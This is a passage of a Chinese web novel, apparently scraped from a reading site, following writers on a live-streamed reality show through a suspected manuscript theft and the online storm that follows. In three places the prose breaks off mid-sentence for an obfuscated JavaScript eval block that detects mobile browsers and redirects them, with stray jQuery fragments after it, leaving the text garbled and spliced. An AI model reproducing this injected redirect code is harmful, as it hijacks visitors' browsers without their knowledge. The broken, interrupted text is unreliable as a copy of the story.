她并不知道自己到底要去做什么,可能只是漫无目的的游走。她原本打算今天更新存稿箱里的稿子,但发表的前一刻,她又突然想到那个经理人所说的话——她的文章乏味可陈,看的人这么少,有时候反思一下自己的原因。
她是一个很容易内耗的人,她在想,自己是不是真的写的很差,是不是文章的剧情出了差错?一味的继续更新,究竟是对自己的过度信任,还是对读者的不负责任?她自从这本书开始更新后就没有请过一天假,今天却连请了三天的假。就是希望她能够把这件事情给想清楚了再下笔。
好在读者都很体谅她,令她倍感惭愧。
秦段到了大厅,本以为会空无一人的一楼大厅,如今坐着一个熟悉的身影,他双腿交叠捧着一本书在细细的读,见她来了也没有什么多余的表情。沈淮微微冲她点头示意,声音平平淡淡:“你写完了?”
她有时候觉得这几位嘉宾里,沈淮是最不好相处的。他为人孤僻,作息习惯也令人匪夷所思,更是录制预告的时候就说过讨厌她。秦段在心里默默叹了一口气,心道这可真是天崩开局。
其实她还挺喜欢沈淮的书,被自己喜欢的作者讨厌,真是人生一大悲哀。
她找了一个偏远一些的位置坐着,回答沈淮的问题:“没有,我正在想。”
听见这个答案,沈淮眼皮掀了掀,他抿了抿茶,似乎只是随口一提:
“刚刚林绾回来时,情绪不太好。”
林绾情绪不好......?
秦段顿了顿,她的表情一僵,想到明天就要交稿,害怕林绾会因此受到影响,秦段连忙问道:“她现在在哪?”
沈淮淡淡道:“我建议不要去打搅她,你怎么知道她不是故意引得自己情绪失调,从而写出动人心弦的文字来?”
“还是多担心担心自己吧。”
说完后,沈淮又喝了一口茶,将手中的书本翻了一页。秦段默不作声,她和沈淮之间的气氛又一瞬之间降至冰点。她有些坐立难安,觉得沈淮还不如宋之河好相处一些,好歹宋之河讨厌她是摆在明面上,而且从不喜欢藏着掖着。
可沈淮......既然不打算让她去安慰林绾,那为什么又要告诉她林绾情绪不好?
难道——他是在提醒她?
要知道,对于部分作者来说,情绪是远大于自己笔下的纲要的。可能只是因为在某天摔了一跤擦破了皮,或者和别人起了些口角,文章里的内容就可能有天翻地覆的改变。
灵感就在转瞬之间,蕴藏在边边角角的不经意里。
那么......问题就来了,沈淮为什么要这么做?
【呜呜刚刚绾绾回来的时候眼眶通红,心疼】
【节目组没录音绾绾打电话聊了什么,但是感觉她在吵架】
【额,沈淮好装,长得好看但是性格好差劲......绾绾哭的事情允许他说出去了吗?】
【那又怎样?我照样会宠溺他】
【不好意思哈,你家太太最火的同人文就是我家沈大的哈,没有我家,你家现在无人在意!】
【永远热爱男作者笔下的兄弟情......kswl】
【宋之河宋之河宋之河宋之河】
【秦段真一点不写啊?现在她人气一路垫底,估计要陪跑第一期就被淘汰了。】
【某些人都不急,你急什么?】
......
秦段上楼,路过林绾房间时,里面隐隐传来抽泣声。她的脚步顿在房门口,心中犹豫自己要不要去敲门。她和林绾不过是一面之缘,而且论起来,她是她的晚辈,林绾说不定只是想要自己静一静。
可是她又有一些放心不下林绾。
等等!
宋之河似乎和林绾关系不错,她不如去房间里把这件事告诉宋之河?说干就干。秦段一路走回自己的房间,此时天色渐暗,别墅内的灯也亮了起来,推开房门时,宋之河却还坐在电脑前,专心致志地打字。
秦段也作势打开自己的电脑,新建文档。她的心里早就已经想好了这篇主题到底要怎么写,眼神落在她敲出来的字上,话语却是对着宋之河。
“宋老师。”
另一头宋之河皱了皱眉,语气有些不耐烦:
“干什么?有事说事。”
秦段波澜不惊地敲出一行字,似乎随口一提:
“没什么,只是路过林绾房间时,发现她似乎在房间里哭。”
两米外,打字声突然中断。宋之河挺直了腰,别过头望向秦段,眼神顿时变得怀疑起来:“她今天不是和你在一起吗?你们聊了什么?”
“林老师和我聊了没几句,就说要去散散步。”
“等回来的时候,似乎情绪就不太好了。”
“吱呀——”一声。
宋之河站起身,似乎想到了什么,她火急火燎披了一件外套就往门外走,肉眼可见的焦急。等宋之河把门甩上过了一段时间之后,秦段便在余光里发现宋之河不知是不是粗心大意,她的电脑没有关,未写完的文稿还未保存。
她连忙去把帘子拉上,生怕弹幕要去怀疑自己偷她的稿。
事实上,也的确如此。
【啊啊啊保存!!!小河狸赶紧回来!】
【总感觉秦段面相就是那种喜欢背刺别人的人,不会是故意调虎离山吧?】
【呵呵,顺水推舟的人情谁不会做?】
【好白莲,受不了了......】
【后期能不能推出无秦段纯享版?我要吐了,大佬打架,素人插手干什么?】
可不知道隔壁发生了什么,秦段马不停蹄写完了几千字,都不见宋之河回来。与此同时,不知是不是老天在给她开一个玩笑,她敏锐地听见宋之河的那台电脑“滴”了一声。
【电量不足,即将关机——】
秦段心头一跳!
她对电脑的理解仅限于她大学在二手市场淘的一台电池有问题的二手电脑,那台电脑可把她折磨得不轻。她使用电脑的时候必须插着电,否则一旦断电她未保存的文档定然会消失。她现在也没见识过正常的电脑是什么样,先入为主地开始替宋之河紧张起来。
可是问题是,她应该去帮宋之河电脑插电吗?弹幕会怀疑她是乘机剽窃她的创意吗?
见秦段在犹豫,弹幕顿时炸了锅。
【帮她插电啊啊啊要没电了!!!】
【要是我女神丢稿,我绝对不会放过你。】
【她不会是故意的吧,好狠的心机......小河狸本来打
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310527|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
字就慢,要是丢稿,明天都不知道能不能赶完。】
【秦段去死,去死去死去死!!!】
【呵呵,在微博踩前辈上位的某人恨不得小河狸丢稿吧?指望她帮忙,不如相信我是秦始皇。】
“导演组看到监控能帮宋老师电脑插一下电吗?”
秦段尝试对监控问。可遗憾的是,十分钟之后,宋之河的电脑第二次报警,节目组也没有任何回应。看上去是打定主意为了节目效果而不介入。
她又走到林绾的房门口,还没敲门就听见里面的争执声。秦段望而却步。
等她回到房间,秦段又尝试把这件事从她心里剔除掉,可在宋之河电脑报出【还剩六十秒关机】时,她总算是忍不住了。
摄像头在这里拍着,她帮宋之河总好过不帮。秦段站起身,掀开了帘子。
——宋之河的电脑泛着白色的光,上面密密麻麻的黑色字迹令她有些头晕。
秦段一手挡着双眼余光,一边去找充电的线。可宋之河似乎有些洁癖,她硬是在桌上没找到半点数据线的痕迹,无奈,秦段只好弯下腰去打开书桌下的抽屉。
可这样一来,她必须去挪动宋之河的电脑,而且她挡住字迹的手格外遮挡她的视野。秦段刚弯下腰就被书柜的棱角给磕了一下。她忍住疼痛,便听见电脑关机倒计时还剩三十秒。
她必须把挡着的手放下,不然什么都看不见,就是白费功夫。既然她已经做出了选择,她就得确保自己得把事情做好。
毫不犹豫,秦段放下手,拉开抽屉掏出数据线插上电源一气呵成!
她的目光朝电脑的右下角瞥了瞥,确保已经插上电后,秦段松了一口气。还好,就差一点。
可她正准备往自己的工作桌走时,一回头,发现宋之河倚靠在门框处,表情似笑非笑。她一双狐狸眼眯起,抱着臂望向她,秦段的瞳孔骤缩。她还站在宋之河的电脑前,这样看来就像是人赃并获一般。
她笑了笑,低声问:“秦段,你在干嘛?”
秦段:!!!
随之而来的,是被她一句话引爆的弹幕与热搜:
【啊啊啊啊啊啊啊啊!!!】
【举报秦段剽窃!节目组管一管啊!】
【电脑断电了也会自动保存,我请问谁不知道?她装什么好人!我不相信一个作者会这么没有常识!】
【看吧,帮了也被骂,不帮也被骂,所以我劝大家以后都见死不救。】
【这根本就不是帮不帮的问题,秦段要是不让宋之河去找林绾,就不会有这么多事!你们没发现,节目到现在所有的争议都是她引起的吗?】
【纯宋之河黑粉,我站秦段,你家粉丝精神分裂就去看看脑子行不行?在那发言像是伪人一样,正主也是十分的见。呵呵,秦段真是无妄之灾,她错就错在自己太善良,要是我,我管都不会管!不仅不管,我在心里都得求着电脑赶紧死机没电丢稿就是为了让你家赶紧淘汰,一天到晚在这里ky你们户口本没人了?不好意思,我现在对秦段路转粉了,宝宝加油!】
【全网苦宋之河久矣,秦段打响反抗第一枪!】
【高血压要犯了,可以别吵了吗?之前要秦段充电的和怀疑她偷稿又不一定是同一批人,你开什么地图炮呢?秦段做的不对就是不对,她完全有更好的方法,偏偏选这么一件惹人喷的解决办法,不是活该吗?】
【赶紧看微博!微博吵起来了!】
微博:
#秦段偷稿?#(爆)
#打响反抗某家第一枪#(蹿升)
#全网支持林绾离婚#
#沈淮幕后赢家#
8. 舆情风波
#糊咖空降?节目养蛊!这档节目越扒越有!#
#分析秦段微表情动机,偷稿之事存疑?#
#这个世界疯了#
三条最热词条下,三篇帖子的点赞数飙升。秦琴坐在梳妆台前,沉默着点开第一篇帖子。
破破烂烂的木门外,父母还忙碌着高谈阔论,她反锁了房门,妄图把那些令人心里不适的言论挡在房间之外。自从姐姐上节目之后,家里发生了太多的事情,她不愿意告诉她,秦段问起来,她也装作无事发生。她眼睁睁看着铺天盖地的辱骂和人生攻击涌来,心中满是压抑的、喘不过来气的愧疚和自责。
可要是相比较网友相隔网线的攻击谩骂,看见家里的场景,那她宁愿秦段永远都不要回家。
#糊咖空降?节目养蛊!这档节目越扒越有!#
【如题,楼主说一句《算了,写都写了》节目组是数十年来最会营销的文综,大家没意见吧?
第一期还没开播,光是看直播,就差一点把楼主的乳腺都要气炸了。好了,话不多说,我们先从秦段进节目整个时间线开始扒,然后楼主再去谈谈秦段是不是真的想要偷稿。
首先,楼主搜索了全网使用“秦段”这一笔名的作者,共计201人,其中一半以上绑定了微博账号,故排除。另一部分则是实名认证的签约作者,根据签约作者公司规定必须使用真名这一条,这一部分也排除。最后的五人之中,性别又不对,所以秦段的笔名不可能是自己的真名,故推断秦段绝对没有和任何一家公司签约出道,实至名归的糊咖。
——这是很多人的推断,但楼主告诉你们,这件事有很大的阴谋!】
【首当其冲的就是分房问题。你们有没有觉得节目组分房很不对劲?宋之河是谁,说一句她是影视圈版权女王没人敢提出质疑吧?就是这样的咖位,节目组居然让秦段和她同住,摆明了要给她镜头。而大家都知道,这档节目从半年前就开始预热了,之前一直宣传的可都是“大咖云集”之类的词,结果一个月前突然说要增加一个素人!是真糊咖还是预定皇族......呵呵,懂的都懂。】
楼下回复:
【真的没人怀疑有人给秦段透题吗?】
【啊啊啊终于有人说到点上了,我追了一天直播,秦段的态度未免过于云淡风清了吧?要么在那刷手机,要么和别人聊天,全程连电脑都不碰!】
【我靠,那我家河狸要被当皇族踏板吗?见死了!】
楼主继续扒:【好了,这件事咱们放在一边不提,就说今天闹得最凶的“插电源”事件。沈淮为什么要告诉秦段林绾的事?不知道大家还记不记得前年宋之河与沈淮两家闹得微博差点崩掉的事?沈淮知道宋之河和林绾关系好,一定不会放任不管,而秦段又是宋之河的室友,他告诉秦段的本质其实是想拉宋之河下水。】
【额,楼主有被害妄想症吧?我家沈淮没那么多心眼哈。】
【沈粉举报了。】
【搞文学的有不同意见很正常,在你这就是闹事?楼主粉籍暴露无疑,还以为是什么公正评判,呵呵。】
【我觉得有可能,男人就是小心眼!】
见底下评论开始争执,楼主把写好的文字继续往外发:
【你们不要看事情只看表面,要看看到底谁是既得利益者。林绾受情绪影响,把先前的稿子全都推翻。宋之河安慰的筋疲力尽,心里烦躁,还卷入了舆论风波,她心态一般,经常断更,这件事是否会对她的创作造成影响呢?】
【而且,话题转回到节目本身,这档节目和我们以前见过的文综都不一样,一是不阻止嘉宾使用网络,任由舆论对创作者进行干扰。二是让明星和作者一起养蛊,不同明星演技有差异就算了,节目组还看热闹不嫌事大地赋予明星特邀官修改剧本的权力——我请问,这是准备把内娱煮成一锅粥喝了吗?】
该条帖子热度飙升至八千万,眼看就要破亿。虽然大家对于沈淮是否存心设计一事争论不休,但包括秦琴在内的大多数人都认为......这次的风波仅仅是一个开始,大部分人不过是捕风捉影加上自己的有色眼镜,就能掀起这么大的舆论浪潮,让人很难想象,后期节目究竟要怎么录制下去。
秦琴心中涌起阵阵担忧,她点进第二条热搜贴。这条帖子看上去像是在帮秦段说话。
#分析秦段微表情动机,偷稿之事存疑?#
【主播全程观看这档直播,正好本身也从事心理咨询师这一行业(证书如下),我已经在屏幕前扒了半个小时了,现在带大家分析一下“秦段偷稿”这件事到底是不是空穴来风。
首先说结论,她没必要去剽窃,也不可能剽窃。】
顿时,许多评论回复该贴主:
【好了散了散了,又是一个秦某人水军吧?】
【刚从隔壁帖子过来,我现在真的怀疑秦段是皇族出道,这么快就有人站她了?】
【宋粉实名制举报哈,无论是她故意把林绾的事告诉河狸,还是去自作主张给河狸电脑充电,这事你们都洗不白。我自己偶尔写一点同人文都知道电脑会自动保存,难道她秦段不知道?】
【林绾哭哭啼啼干什么,受够了,沈淮也不是好东西,当年和河狸争......】
【纯路人,看了直播没觉得秦段做错什么。】
过一会,一篇丝毫不带着个人情绪的分析贴被码好放了出来,贴主似乎无视了底下的质疑声。
【从秦段听见沈淮说林绾情绪不好那一帧开始扒,她虽然看上去仍旧面无表情,但唇角向下了零点一个弧度,瞳孔缩小了。这是一个典型的震惊+担心的表情。而后她走到房门口时,在林绾房前步伐停顿了近一帧,此时注意看,她的身子是有一个前倾的动作的,我们大胆可以猜测,此时的秦段是想要开门,但最后也许是想到林绾和宋之河关系要好一些,所以转而回了房间。
一回房间,她主动向宋之河搭话,她们二人关系不好是屏幕前的你我都知道的一件事。因此,秦段问话的时候,她的右手呈现一个半握拳的姿势,身子挺直,虽然看似在写字,但其实都是假动作,为了掩盖她的紧张。
而重头戏落在争议最大的——秦段为了拿充电器而把挡住视线的手放下,是否真的存在剽窃的嫌疑。】
【你们把镜头放大看,可以看见秦段额头被桌角磕了一下,往后的录像里也能看见她额头擦破了一块皮。这说明,她的视线存在盲区,如果不把手放下,那她很可能根本来不及在关机前把电脑充上电。至于她是否真的看见了宋之河的稿子,我觉得这不是一件值得大家如临大敌的事】
【这档节目全程直播,后期又要进行公投,秦段要是文章和某人相似度过高,那才完蛋了。她有必要冒这么大风险去干一件吃力不讨好的事吗?】
底下评论:
【天哪憋了一天了终于能说了,宋粉是不是都有被害妄想症啊?真的笑死了,如果秦段真能看一眼就知道宋之河全文脉络,那我愿称她未百年难遇的天才。】
【所以隔壁帖子说这个世界真是疯了,怎么,又要全民猎巫吗?】
【呵呵,天下苦宋之河久矣。】
【我们家大粉从来没下场说过秦段要剽窃吧?当时秦段发微博嘴各个嘉宾的事这么快就被你们抛之脑后了?当时我家太太还在微博呼吁粉丝冷静,我家站子也让粉丝都没去冲秦段吧......这一次我们都不知道事情怎么会变成这样,是河狸粉丝闹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310528|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,还是某些黑子故意炒作,你们自己心里有数!】
【别被带节奏!别被带节奏!河狸是受害者,不是谁弱谁有理的!】
秦琴沉默不语。他们骂秦段的根源,还是因为她拿她的微博所发的话。她亲眼见过秦段一步步放弃自己的梦想,从而眼中都失去光彩,她承认自己越俎代庖,也害她遭受那么多的流言蜚语,可她觉得秦段一定会宁愿自己被全网黑,都不愿意回家嫁人生孩子。
她可能真的错了,但她认为自己没有。
第三篇帖子:
#这个世界疯了#
【《算了,写都写了》节目组能不能出来挨打?沈淮多嘴一巴掌,林绾哭一巴掌,秦段圣母心一巴掌,宋之河脑残一巴掌。
我是生活在二十一世纪对吧?看的是文综对吧?我请问放个直播知道的是要观摩他们写出大作,不知道的以为我偷窥狂啊!我像是那个下水道的蟑螂,偷窥之余,几位神仙打架还不忘记踹我一脚!节目组有考虑到看这档节目的还有纯文学爱好者吗?
以往的文综都是没名气的小作者pk出道,你们都得喷一句弹幕打分不客观,如今自家上场,你们可不是这么说的哈。】
底下评论:
【lgdl,弹幕真的好恐怖,怎么能够这么恶毒?】
【林绾因为家庭原因情绪不好都能被p黑白照片,秦段刚上节目就被全网扒笔名,我记得每次热播剧播出时,各家作者的粉丝都说自己是“弱势群体”,都怪那些流量明星仗势欺人瞎改剧本......现在这种攻击力,我看未必吧。】
【楼主你完蛋了,你居然敢不提我们尊贵的太阳与月亮,你惹到了最不好惹的一个群体,小心大头照满天飞哈】
楼主回复:【沈淮靠麦麸发家,自诩是无cp大男主升级流,实则无人在意他写的剧情。剧情推不下去就把男主写死也是没谁了,粉丝还在那营销官配cp,实则不靠炒cp他根本就没资格力压一群男频作者,论无限流类,老钱写的比他好得多,人家就是不会营销。
宋之河......十六岁出道,十年前是天才少女,被封为“最有灵气的作家”,十年后粉丝居然还拿这个说事,她自从火了之后写的全是流水账工业糖精,近两年看风向变了又试图写大女主——回家吧孩子回家吧,别写了好不好?】
这条帖子也很快便被人顶了上去,微博前三条热搜风向全都指向了宋之河,反倒是把秦段在这件事里的影响弱化。秦琴不懂为什么不过转瞬之间,舆论就有一百八十度的反转,这种事对她而言过于复杂,其中的利益纠葛又太多。
此时此刻,她只关心一个问题。
秦琴:【姐,你还好吗?】
......
秦段坐在床上,录制的摄像头已经熄了。想到刚刚宋之河那难看的脸色,秦段便有一种不祥的预感。即使她们刚才不过两三句的对话,她解释了事情的经过后宋之河便没再过问。
但她发现,关了灯后原本应该早早入睡的宋之河似乎还没有睡。她的床头处透出隐约的亮光。
她心里泛起嘀咕,悄悄打开手机。
下一秒,秦段呼吸一滞,她即使做好了心理准备,但完全没有想到网络上的舆论会这么恐怖!
他们用一件站不住脚的小事先将矛头对准她,再在众人质疑时发布洗白贴,让众人把事情的目光聚焦在宋之河的身上。眼下,置顶的热搜是:
#抵制!宋之河综艺霸凌#
秦段在心里默默叹了一口气,最终还是决定先回了秦琴的消息:
【我很好,这两天就会回家。这趟浑水,我不想淌。】
秦琴第二天也没再回复她的消息,秦段只当她在赖床。
9. 被踢了吧
时间转到第二日。从今天开始,创作的时间将不满二十四小时。即使摆烂如秦段,也不得不打起精神,一大早开始坐在电脑前敲字。
宋之河早早就起了床,她不知是不是昨晚没睡好的缘故,眼框有些泛肿。今早秦段起床时又看了一眼微博,发现昨晚的热搜不知何时已经被撤了下去,大概率是宋之河背后的资本动了手。
名利场上浮浮沉沉,她过于招摇撞市,背后有无数的利益相关者要把她拉下马。宋之河的名声大盛,看她不爽的人也不少。
但好在,这件事误打误撞和她无关了。
秦段将目光重新落在自己写的文档上,她准备写一篇中规中矩的文章。目前她已经写了近四千字,剧情已经推到了一半。
为了不要太过于显眼,秦段写的是一篇玄幻言情。女主和男主同为天上的神仙,但仙界发生变故,女主被贬下凡救世。而男主因心爱之人被贬而入魔,一人失忆一人堕魔——纠缠几生几世后又因为种种意外而擦肩而过。最后女主法力耗尽化作原型野雏花,男主耗费千辛万苦将女主找到,再虐一轮后he。
这种剧情她提笔就来,在脑海里多过一轮大纲都是浪费时间。唯一要考虑的就是篇幅问题,节目组规定文章字数限制在5000到8000字之中,她得好好想想怎么安排重点剧情。
秦段喝了杯茶,人还坐在电脑前,人的魂已经飘到了她的五十万通告费(税后)上,觉得自己越写越荡漾。
嘿嘿......拿了这笔钱她要怎么花呢?先还清她的助学贷款后,她还剩四十九万,拿这笔钱可以全款买一个小公寓,还能再剩二十多万。秦琴接下来四年的大学学费就有着落了,不,还是把钱存在银行拿利息......话说五十万能有多少利息?
【您有一条新消息】
秦段回神,发现是粉丝群有人艾特了她。
她本想过一会再去查看,可手机刚放下,又是好几条通知音。秦段终于被烦的没有办法,打开通讯软件一看——好家伙!刷了99+消息!她们都在群里聊什么啊?平时也就只有在她更新时才会冒泡。
见自己写的文也快结尾,秦段点进群。
【段子你赶紧把她禁言!】
【在群里你们吵什么呢?有什么话不能好好说?】
有人在群里吵架!?
秦段顿时心头一紧,消息还在不停的刷新,她只好手指飞速朝屏幕上划,想要知道到底发生了什么。她好不容易有几个读者,平时只爱在群里发一些番外,从来不在群里公然发言,就是害怕自己一个不慎说错话,引发读者吵架。
废了好一番功夫,秦段总算是找到了消息的源头。
一开始,还是照例的每日打卡和早安晚安,直到昨晚半夜,有一个老读者在群里愤愤不平:
【你们看热搜没,宋之河这次太过分了吧?人家秦段也没怎么她,真是狗咬吕洞宾不识好人心!】
秦段看见这段话,就知道——“完了”。
她因为糊,所以没怎么管理过粉丝群,因此群里气氛很宽松。小到今晚吃了什么,大到家里搬家装修,读者几乎把她这个群当作了树洞。她有时候劳累,打开群里看一看,也能吸取一些活人气。
之前管理在的时候会提醒几句,让她们不要随便嘴别的作者,可昨天管理也许睡得早,没能及时控制。
于是......
一石激起千层浪。
【大胆!敢议论宋神你不要命了,打过来我先跑哈(狗头)。】
【群里好像有宋之河粉丝......】
【呵呵,看她早就不爽了,塌的好!】
【欸?她不是被爆抄袭早就塌过一轮吗,我记忆错乱了?】
【之前我粉的一个作者和她撞题材,结果版权都卖了,硬是被她粉丝骂到版权费付违约费都不敢拍。还有一个,撞主角名,剧本来都要拍完上映了,剧方怕被宋粉举报,男女主重新配音,把主角名改了。】
【啊啊啊我记得!这种烂人怎么还不糊,我都有点心疼秦段了。】
省略快一百条众人对宋之河的口诛笔伐后,秦段一头冷汗。这种话应该在一开头就制止的,她还好是糊咖,但凡是个有点名气的作者,估计就得被找上门,成为“嘴前辈”的黑料了。
果不其然,在经历过群里昨晚的群嘲后,今天早晨,有个新入群的粉丝发了言。
大狸子鱼:【。。。】
句号起手,大事不妙。
秦段眯了眯眼。她对这个id好眼熟,似乎是她亲手给她放进来的?而且这个用户名也很有说法,她记得宋之河以前有一段时间被粉丝戏称为“大狸子鱼”,因为她当时收养了一只狸花猫,每天不更新就在微博晒她的胖猫。
大狸子鱼:【抄袭讲证据,别空口鉴抄。建议你做个调色盘。】
大狸子鱼:【你说撞题材被付违约费全怪宋之河?呵呵......那是因为拍摄方自己资金链断裂,拍不下去。你那粉的作者当天就差没开香槟庆祝了。原著不被毁,自己拿了三倍的版权费,一辈子财富自由还不好?】
大狸子鱼:【还有那个“重新配音”的,你知道为了这件事热搜剧方花了多少钱买黑热搜吗?本来就是糊剧,不这么搞一下都没人知道,硬是蹭热度蹭成热播剧。】
大狸子鱼:【群里作者在的话,都不管一管读者聊天尺度?】
一看就是宋之河的激推啊......秦段顿时觉得一阵棘手。群里又因为这位宋之河的书粉吵作一团,纷纷艾特她让她把这个假粉给踢出粉丝群。
【这么喜欢宋之河,还进我们段子的群做什么?】
【爱看看不看滚,说句实话,段子写的比你家正主好多了。】
【段子给她踢了!】
【@段段落落,宝宝你看她欺负我们......】
【@段段落落,宝宝(可怜兮兮jpg)宝宝宝宝!!!】
秦段:头疼......
有时候,她不能够理解为什么明星会放任自己的粉丝做一些匪夷所思的事,但现在,她似乎有些明白了。论事实来讲,这件事情确实是她的粉丝处理不当,这个叫“大狸子鱼”的读者也算是给她提了个醒,做错了就得立正挨打。
但是论私情而言,这个群里不少陷入骂战的读者都追了她的文很久,给她提供了不少情绪价值,人的心都是偏的。她自然是想要偏袒她们。
可她知道,错了就是错了。
秦段抱着滑跪的心态和一直没再发言的“大狸子鱼”私聊。
段段落落:【抱歉,我替她们道歉,也向宋老师道歉,这件事是我管理不当。】
不同于在群里的沉默,她的消息一发出去就收到了对方的回复。而且她隐约觉得对方有可能是一个话痨属性,她的文字还在编辑呢,对方一下子对话框开始冲她狂跳,就那么一眨眼的功夫,秦段眼前便像是飘过一串弹幕。
大狸子鱼:
【......】
【谁怪你了?】
宋之河的粉丝和她正主的性格,还真是出乎意料的相似啊......让她有时候真的摸不着头脑。
【宋之河这么红,她们爱骂就骂,反正也不是第一次了。你过来道歉好像显得她特别小心眼一样。】
秦段没忍住见缝插针和她拼手速胜利,回了她一句:【我知道,就算宋之河本人在这里,都不会介意。大家都知道她脾气很好。】
发出这句话后,秦段和对方都沉默了。她不知对方是不是被她睁着眼睛说瞎话的实力所震撼,最终回了四个字:
【那倒没有。】
两人处于战略僵持阶段。
【不过,我觉得你的群里缺个管理员。】
【给你个机会,让我当。】
......?
她合理怀疑对方是想要混成管理之后炸群。
秦段说了一堆体面话后委婉地拒绝了她,对方收到她那一长段情真意切的拒绝后也熄了火,过了片刻,她自己就退出了群聊。似乎是黯然离场。
她没有想要追回那个读者的心思,只是在群里发布公告,让这件事到此结束,以后也不要再犯。
也许是异端被清除,群友都答应的很快。
可即便如此,秦段心中却依旧惴惴不安,又划过一抹心虚。总觉得宋之河似乎和她气场不合,呆在一起得出事。她从办公椅上起身,带着电脑下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310529|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楼找到导演组。
“秦老师,有什么问题么?”导演蓦然被她喊住,放下手中的盒饭,一众工作人员正焦头烂额地处理着各种事项,一切都混乱中有序。
秦段静静地站在不远处,说道:
“交稿。”
顿时,原本吵吵闹闹的环境,因为她的两个字而突兀地暂停。导演愣了两三秒,眼神中闪烁过几分不可置信。他的视线划过自己腕上的表,时钟指向中午十二点,眼下这个时间点,秦段居然交稿了?
“秦老师,我们要和您重申一下,交稿之后无法二次更改......您确定不再润色一下?”
“交吧。没什么要改的了。”
秦段将笔记本放到提交架上,架子边缘贴了她的姓名,还算好找。
他们如果没记错的话,秦段昨晚只是装模做样地写了不到一小时,而今早更是满满摆烂的打算——结果现在她是第一个交稿的?
网上怀疑秦段是皇族出道的帖子越来越多,秦段再这么早交稿,很难不再一次引起风波。
众前辈都没交,你这么着急抢风头做什么?
而且,交稿这么早,不是显得还在苦苦埋头写的另外几人没本事,被一个新人压一头?
片刻之间,导演便笑道:“秦老师,还没到交稿时间,电脑我们先替你保管。”
说完,有工作人员把她的电脑放回书桌上,示意她可以走了。
对嘛,出风头的事情不该是她一个糊咖。
面对导演组有意无意的针对,秦段也懒得计较这些,她从导演室走出来前,特意问了一下通告费是怎么支付,得到导演“什么时候淘汰,什么时候结清”的回答后,她疾步如飞,恨不得立马被淘汰。
林绾出来撞见秦段的时候,她正哼着小歌,倒是把心情低落的林绾都逗笑了。
她拦下她,悄悄问:“这么高兴?发生什么喜事了?”
秦段兴高采烈地勾起一抹笑,眉眼弯弯,比了一个“嘘”的手势便回到了房间。宋之河坐在窗边发呆,微微侧过头,刚想说些什么,便看见秦段已经马不停蹄开始收拾自己的行李。她本来就没多少行李,把书包拉链拉上就算完事。
“你不录了?”
宋之河清冷的声音从左后方传来,秦段心情欢呼雀跃,没有纠结对方语气低沉。她回过头,虽然没有咧着嘴傻笑,但眼中却布满星星点点的笑意,“没有。”秦段立马否认。
“我提醒你一下,明天来的演员有修改剧本的权限,你即使想要退赛——也不该是现在。”
秦段的唇角一滞,知道宋之河言下之意是什么。可很快,她又重新高兴起来,摆一摆手。
这对她而言不是事,人家想怎么改就怎么改。
宋之河揉了揉额角,别过头不再多言。她现在还有些不爽。
想到她好不容易追文追到人家粉丝群,还和小作者粉丝大吵一架......她哪受过这种贴脸开大的气。
纡尊降贵提出帮她管理群,对方也不愿意。
她暗暗发誓——即使那个小作者继续更新,她也不会看了!写的再好看,她也绝不会看。
结果这件事不知怎么的被基友知道,还狠狠嘲笑了她一顿。
看到我请让我去更新:【在群里围观全程,你被踢不冤哈哈哈!哪有你这样在人家地盘上撒尿乱咬的?】
大狸子鱼:【顾青燃,你是傻*吧,老子没被踢。】
看到我请让我去更新:【呦,现在脾气见长?对了,刚看直播,你居然还提醒那个姓秦的别退赛?】
因为这件事和秦段确实无关。她昨天看了一眼就知道到底是谁在背后搞鬼。最近她的一部剧和某人的剧同档期上映,她上这档节目本身是为了顺带炒作剧热度,结果没曾想在这里被她摆了一道。秦段和她全都给别人当枪使。
大狸子鱼:【好言难劝该死的鬼。你没别的事就别打扰我码字了。】
看到我请让我去更新:【还真有件事。】
【你觉不觉得这个小作者的文风很像某个人?】
宋之河的心中浮现出一个熟悉的作者。
很快,她阴沉着脸回复顾青燃:
【她还差得远。】
10. 那当场写
晚上九点。
林绾是第二个交稿的。
没过多久,调整好情绪的宋之河摘下耳机,下楼交稿的时候和沈淮恰巧碰到了一起。两人对视一眼,皆没有说话。最后一天的时间过的很快,又很慢,众人心里各有心思。
导演别着麦克风,检查完她们的几台电脑后,冲他们道:“几位老师,提交完文章后在今晚十二点前还有修改的机会。”
“等到明早八点,演员老师们也将抵达别墅内,届时文章修改权将全权给予演员们——各位老师就无法修改自己的原文了。”
宋之河眨了眨眼,曲着手指摆在唇前,眼底划过一抹无奈。
……目前流量大又有档期的,她倒是想到几个人。
沈淮言简意赅问道:“几男几女?”
“两男两女。请放心,除了主角外,配角将有我们艺术学院优秀新人出演,确保能够还原各位老师的大作。”
——那可未必。
